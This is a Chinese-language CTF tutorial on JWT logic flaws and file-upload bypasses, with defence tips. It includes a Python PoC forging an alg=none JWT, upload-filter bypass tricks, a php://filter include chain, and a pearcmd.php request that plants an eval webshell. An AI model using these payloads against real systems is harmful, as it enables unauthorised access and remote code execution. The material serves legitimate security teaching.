CTF Web漏洞审计:JWT逻辑缺陷与文件上传绕过深度剖析
1. 漏洞审计方法论
Web安全竞赛中,漏洞审计能力是区分选手水平的关键指标。本文将聚焦两类高频漏洞:JWT逻辑缺陷和文件上传绕过,通过真实赛题还原攻击链,提炼可复用的审计方法论。
漏洞审计核心流程:
- 输入点定位(参数、Cookie、文件等)
- 数据流追踪(前后端交互逻辑)
- 安全机制验证(签名、过滤、权限等)
- 异常路径构造(边界条件测试)
提示:审计时应重点关注业务逻辑与安全控制的交叉点,这类位置常出现设计缺陷
2. JWT逻辑缺陷实战
2.1 JWT基础结构分析
JSON Web Token通常由三部分组成:
header.payload.signature典型header示例:
{ "alg": "HS256", "typ": "JWT" }常见漏洞触发点:
- 头部alg字段篡改(none算法)
- 密钥暴力破解(弱密钥)
- 签名验证缺失
- 业务逻辑绕过
2.2 赛题案例:CoolIndex权限绕过
题目关键代码片段:
try { const decoded = jwt.verify(token, JWT_SECRET); if (decoded.sub !== "premium" && index >= 7) { return res.status(403).json({ message: "需订阅高级会员" }); } index = parseInt(index); // 关键漏洞点 } catch (error) { res.clearCookie("token"); return res.status(403).json({ message: "重新登录" }); }漏洞利用步骤:
- 注册普通用户获取初始JWT
- 修改payload中的sub字段为"premium"
- 构造index参数为"7abc"触发类型混淆
- parseInt("7abc")返回数字7绕过校验
自动化POC脚本:
import jwt import requests def exploit(): base_url = "http://target.com/api" token = jwt.encode({"sub":"user","iat":1516239022}, "", algorithm="none") params = {"index": "7abc"} cookies = {"token": token} r = requests.get(f"{base_url}/articles", params=params, cookies=cookies) print(r.json())3. 文件上传绕过技巧
3.1 黑名单绕过矩阵
| 过滤方式 | 绕过方法 | 适用场景 |
|---|---|---|
| 扩展名检测 | .php5/.phtml/.phar | Apache解析漏洞 |
| 内容检测 | 添加GIF头/短标签 | PHP配置宽松 |
| 大小写过滤 | .PhP/.pHp | Windows服务器 |
| 特殊字符 | %00截断/双扩展名 | 旧版PHP版本 |
3.2 赛题案例:UpgdStore双重过滤绕过
题目采用双层防御:
- 扩展名白名单:仅允许.php
- 内容黑名单:过滤
$_、eval等关键词
创新绕过方案:
- 上传base.php(内容经base64编码)
- 上传shell.php包含编码文件:
<?php include(base64_decode('cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1iYXNlLnBocA=='));- 利用php://filter链实现解码执行
防御方案对比:
- 不安全实现:仅检查文件头
- 推荐方案:文件内容AST解析 + 沙箱执行检测
4. 漏洞组合利用
4.1 Pearcmd.php LFI到RCE
经典攻击链构造:
/index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST['cmd']);?>+/tmp/shell.php关键步骤解析:
- 利用pearcmd.php的config-create功能
- 注入PHP代码到临时文件
- 通过LFI包含生成的后门文件
4.2 防御深度强化方案
- 禁用危险函数(putenv、dl等)
- 设置open_basedir限制
- 定期更新PEAR组件
- 实施文件操作日志审计
5. 自动化审计工具链
推荐工具组合:
- 静态分析:Semgrep(自定义规则检测JWT问题)
- 动态测试:Burp API Scanner(自动化参数变异)
- 流量分析:Wireshark(异常协议检测)
- 自定义脚本:Python + Requests库(精准POC验证)
典型检测规则示例(Semgrep):
rules: - id: jwt-none-alg pattern: 'jwt.decode(..., {..., "algorithms": ["none"]})' message: "JWT accepting 'none' algorithm" severity: WARNING在实战中,真正的漏洞往往藏在业务逻辑的灰色地带。记得在某次比赛中,通过分析用户权限状态转换时的时序问题,最终实现了从普通用户到超级管理员的垂直越权。这种深层次的逻辑漏洞,往往需要审计者具备系统级的思维视角。